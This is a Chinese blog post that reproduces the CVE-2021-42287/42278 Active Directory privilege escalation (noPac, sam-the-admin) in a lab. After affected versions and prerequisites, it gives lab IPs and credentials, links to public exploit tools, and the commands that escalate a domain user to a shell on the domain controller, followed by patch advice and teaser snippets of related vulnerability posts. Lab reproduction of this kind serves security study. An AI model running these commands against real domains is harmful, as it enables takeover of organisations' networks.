Windows域服务权限提升漏洞（CVE-2021-42287, CVE-2021-42278）-爱代码爱编程

2021-12-22 分类: 安全 windows web安全

1.漏洞描述

Windows域服务权限提升漏洞（CVE-2021-42287, CVE-2021-42278）是由于Active Directory 域服务没有进行适当的安全限制，导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限等危害。

2.影响版本

CVE-2021-42287：

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

CVE-2021-42278：

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core

3.漏洞利用条件

（1）一个普通域成员帐户

（2）域用户有创建机器用户的权限（一般默认权限）

（3）DC未打补丁KB5008380或KB5008602

4.环境准备

Win7

192.168.42.128

域普通用户：adtest/szg:1234qweR

Win server2008 R2 Standard Service Pack 1

192.168.42.136

域控机器

Kali

192.168.42.138

攻击机器

5.漏洞利用工具

下载地址：

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

6.漏洞复现

sam-the-admin脚本

查看源码，发现脚本实际是实际就是调用两个可执行文件

kali中存在这两个文件的py文件，路径为/usr/local/bin/smbexec.py 和 /usr/local/bin/secretsdump.py

修改代码如下：

安装requirements.txt文件中的python模块

pip3 install -r requirements.txt

执行如下命令进行域服务提权攻击

python3 sam_the_admin.py "adtest/szg:1234qweR" -dc-ip 192.168.42.136 -shell

PS：目前脚本只能在kali环境下运行成功。

noPac脚本

先安装requirements.txt文件中的模块

pip3 install -r requirements.txt

Scanner

python3 scanner.py -use-ldap adtest/szg:1234qweR -dc-ip 192.168.42.136

GetST

python3 noPac.py -use-ldap adtest/szg:1234qweR -dc-ip 192.168.42.136

Auto get shell

python3 noPac.py -use-ldap adtest/szg:1234qweR -dc-ip 192.168.42.136 –shell

7.修复建议

官方已发布漏洞补丁及修复版本，Windows用户可通过Windows update自动更新升级，或通过下述漏洞参考中的链接手动更新。

漏洞参考：

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278

本文链接：https://blog.csdn.net/qq_36197704/article/details/122082732

Kerberos KDC域权限提升漏洞总结-爱代码爱编程

2020-04-13 分类: 美创安全实验室

Kerberos KDC域权限提升漏洞总结 0x00 漏洞起源 Windows Kerberos对kerberos tickets中的PAC(Privilege Attribute Certificate)的验证流程中存在安全漏洞，低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC并通过Kerberos KDC(Key Distribution

Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析-爱代码爱编程

2021-02-11 分类: 安全 Java 网络 python 信息安全

聚焦源代码安全，网罗国内外最新资讯！漏洞简介 Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务。奇安信代码安全实验室的研究员在Windows DNS Server中发现一个严重的远程代码执行漏洞（CVE-2021-24078)

CVE-2021-41773漏洞复现-爱代码爱编程

2021-10-18 分类: 安全 web安全安全漏洞

1.安装debian系统首先我选择的系统是debian10版本，也可以在别的系统完成复现，我想一个纯净版，所有重新安装了一个系统，安装步骤简单展示一下。 1.创建虚拟机，点击下一步。导入镜像自己选安装的位置以及虚拟机的名称。安装过程需要设置管理员密码和新建一个用户，自己设置一下就可以了这里选择了第二个。因为之

记Log4j(CVE-2021-44228)核弹级漏洞应急响应之旅-爱代码爱编程

2021-12-15 分类: 安全 web安全 log4j2

可能大家都知道了Log4j的远程代码执行漏洞（ CVE-2021-44228），又造成了很多安全运维和开发团队的不眠之夜。下面是参加此次应急响应的过程，简单写下来，以供将来改善。收到此漏洞之后，公司的团队做了以下紧急安排：首先，联系Blue Team，根据攻击特征制定相应的防火墙规则，先挡一阵子。事实证明也只能挡一阵子，很快各种绕过就出来了，例如：

CVE-2021-42287(Windows域服务权限提升漏洞)-爱代码爱编程

2021-12-16 分类: 安全 windows web安全

PAC PAC(Privilege Attribute Certificate)，特权属性证书需要提供User的SID和所在组Group的SID 只看上述的就简单解释并不能很清晰的了解，那么想要知道PAC这个概念，我们首先理一下kerberos的流程网上很多kerberos如下： 1：用户向KDC发起AS_REQ,请求凭据是用户hash加密的

微软最新漏洞CVE-2021-42287-爱代码爱编程

2021-12-18 分类: 笔记

微软最新暴出的漏洞CVE-2021-42287/CVE-2021-42278 权限提升漏洞可将域内的任意用户提升至域管权限，已复现[em]e182[/em] 在 AD 域中请求ST票证时，首先需要提供 TGT票据。当 KDC 未找到请求的ST票证时，KDC 会自动再次搜索带有结

网络攻防｜CVE-2021-42287、CVE-2021-42278域内提权-爱代码爱编程

2021-12-20 分类: 安全网络攻防网络 web安全

作者： r0n1n 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。 0x01 漏洞原理 Microsoft Windows Active Directory 域服务权限提升漏洞（CVE-2021-42278、CVE-2021-42287）攻击者可利用该漏洞将域内的普通用户权限提升到域管理员权限，造成风险和危害极大。

【安全漏洞】CVE-2021-42287&CVE-2021-42278 域内提权-爱代码爱编程

2021-12-25 分类: 安全漏洞网络网络安全 web安全 https 安全漏洞

前言网络安全技术学习，承认⾃⼰的弱点不是丑事。只有对原理了然于⼼，才能突破更多的限制。拥有快速学习能力的白帽子，是不能有短板的，有的只能是大量的标准板和几块长板。知识⾯，决定看到的攻击⾯有多⼴；知识链，决定发动的杀伤链有多深。一、漏洞原理 CVE-2021-42278，机器账户的名字一般来说应该以$结尾，但AD没有对域内机器账户名做验证。CV

Redteam2靶场攻略（从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC）-爱代码爱编程

2021-12-27 分类: 靶机网络安全渗透测试 log4j2

Redteam2靶场攻略（从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC）环境启动参考文章https://mp.weixin.qq.com/s/UAeOtOwigsB45hcjYEGh9g 本靶场由3台虚拟机构成主机网卡ip地址角色docker -log4j2e

log4j2漏洞复现(CVE-2021-44228)-爱代码爱编程

2021-12-29 分类: 安全 Java linux web安全开发语言 log4j2

目录漏洞简介：影响版本：复现环境1：复现环境2:复现环境3：复现环境4：安全建议：漏洞简介： log4j是Apache公司的一款JAVA日志框架，基本上只要是java的框架都会用到这个log4j框架，所以上周不管是不是IT圈的都几乎被刷屏了，可见这个洞的危害之大，波及范围之广。所以复现一下。影响版本： Apache Log4j 2.

内网渗透：六、CVE-2021-42287/CVE-2021-42278 域内提权-爱代码爱编程

2022-02-22 分类: 安全

0x01 简介 2021 年 11 月 9 日，国外研究员在推特上发布了 Active Directory 相关的 CVE，CVE-2021-42278 & CVE-2021-42287 ，两个漏洞组合可导致域内普通用户权限提升至域管权限。0x02 影响0x02 范围 CVE-2021-42287： Windows Serve